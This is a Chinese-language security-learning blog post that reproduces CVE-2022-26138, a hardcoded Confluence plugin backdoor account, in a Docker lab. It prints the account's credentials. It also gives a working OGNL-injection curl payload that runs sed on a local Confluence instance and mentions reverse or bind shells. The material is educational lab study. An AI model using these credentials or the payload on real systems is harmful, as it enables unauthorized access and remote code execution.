iT邦幫忙

2022 iThome 鐵人賽

DAY 11
1
影片教學

從建立環境、驗證漏洞、感受漏洞來學習資安系列 第 12

Day11 - 所謂的厲害,就是讓這個世界,因為有了我,而多了一個後門帳號。而我的世界,不過就是這台Confluence。(作業3解答、作業4)

  • 分享至 

  • xImage
  •  

所謂的厲害,就是讓這個世界,因為有了我,會有一點點差別。而我的世界,不過就是你的心。 —— 九把刀 《那些年,我們一起追的女孩》

Yes

  • 第11天了要連續來兩個比較輕鬆的漏洞,這個漏洞雖然我之前沒錄過,但原理相當簡單,應該不用太多時間就可以說明完。先來看看漏洞的相關資訊吧。

  • 漏洞相關資訊

    • 漏洞編號 : CVE-2022-26138
    • CVSS 3.0 分數 : 9.8 CRITICAL
    • 漏洞類型 : 繞過認證授權
    • 使用版本資訊
      • Ubuntu: Ubuntu 22.04.1 LTS
      • Confluence : 7.13.6
      • Atlassian Questions : 3.0.2
    • 漏洞先備知識 :
      • Docker 基本命令使用
      • Docker Compose 使用
    • 漏洞收穫技能 :
      • 對於預設帳密的省思
  • 這個漏洞因為利用門檻低,被 ithome 新聞報了兩次,而且也被CISA把這個漏洞納入已遭開採名單。但覆現方法其實不難,主要是發生在安裝 Confluence 套件 Atlassian Questions 後會自動幫忙產生一組帳號密碼。

步驟如下 :

  1. 先進入有 docker-compose.yml 的資料夾底下
  2. docker compose up -d
  3. 進入服務 http://IP:8090
  4. 下載弱點套件 Confluence-Question-CVE-2022-26138
  5. 登入 admin,用介面安裝套件
  6. 登出後,用 disabledsystemuser/disabled1system1user6708 進行登入
  7. 登入後,觀察一下這個帳號的權限有多大
  • 這邊就會延伸兩個問題出來,第一個是很多系統也都有預設帳密啊,為什麼這個套件的漏洞反而會變成CVE? 的確當初在我們裝完 F5 Big-IP 後也不知道帳密要打啥,但是去Google一下就知道預設帳號密碼了,但也沒看到 F5 有被提報變成 CVE。
    https://ithelp.ithome.com.tw/upload/images/20220926/20148308yTd69tlqIy.jpg

  • 原因在於,F5 Big-IP 是大家都知道裝完後會設定好的事實,而且進去第一步也會要求要修改。但這個套件並沒有說明它安裝後會自動幫忙創建帳號密碼,所以使用者裝完並不知道自己被開了一個後門帳號,有種被偷襲的感覺,也因此才會被舉報出來。

  • 第二個問題在於,其實進去檢視後會發現這個帳號就只有一般使用者的權限而已,但為何它的CVSS分數如此之高?

  • 這部分我自己猜想的原因是,因為 NVD 在評估時並不知道發生漏洞的 Confluence 內的權限配置,有可能一般使用者就可以看到很多機敏資訊,也有可能甚麼都看不到。所以本著料敵從嚴的態度,最後才會給出這麼高的分數吧。

  • 但這也讓我們知道一件事情就是即便一個漏洞的 CVSS 分數高還是要考慮發生的環境跟先決條件,才有辦法正確的評斷漏洞的影響力跟需要修補的優先順序。

Confluence 回家作業解答 :

  1. Bind Shell 或是 Reverse Shell
  2. 使用 sed 取代指令!!

sed 指令的使用格式為 sed -i 's/要被取代的字串/新的字串/g' 檔案名稱,但因為 payload 組成關係無法使用 ' 符號。另外也有其實有趣的小功能可以指取代第一個對應到的部分 sed -i '0,/要被取代字串/{s/要被取代字串/新的字串/}' 檔案名稱

測試步驟如下 :

  1. 先進入有 docker-compose.yml 的資料夾底下
  2. docker compose up -d
  3. docker exec -it (Web容器名稱) bash
  4. cd /opt/atlassian/confluence/confluence/
  5. ls -al #會發現權限是 root, 但觸發 POC 的使用者是 confluence
  6. chown -R confluence:confluence /opt/atlassian #還不會提權所以改題目
  7. 發現有個 500page.jsp 很可疑,先試著存取 http://localhost:8090/500page.jsp
  8. cp 500page.jsp 500page.jsp.bak #改之前備份一下檔案
  9. 透過 POC 發動 sed 指令進行置換
curl --head "http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22sed%20-i%200,/Oops/s/Oops/aeifkz/g%20/opt/atlassian/confluence/confluence/500page.jsp%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
  1. 觀察檔案內容是否被改變

Confluence 回家作業延伸出的回家作業 :

  • 假如有個htmlEncode字樣出現很多次,我只想改第三個出現的,請問該如何使用 sed 去達成這個效果?

參考資料

  1. 鳥哥 sed 工具
  2. How to use sed to replace only the first occurrence in a file?

上一篇
Day10 - 測試漏洞界的古靈精怪槍,有些要編碼,有些又不用,哭阿!! (作業3)
下一篇
Day11 亂入 - 當年被評為目錄走訪的小蝦米漏洞想不到居然是條 RCE 大鯨魚
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言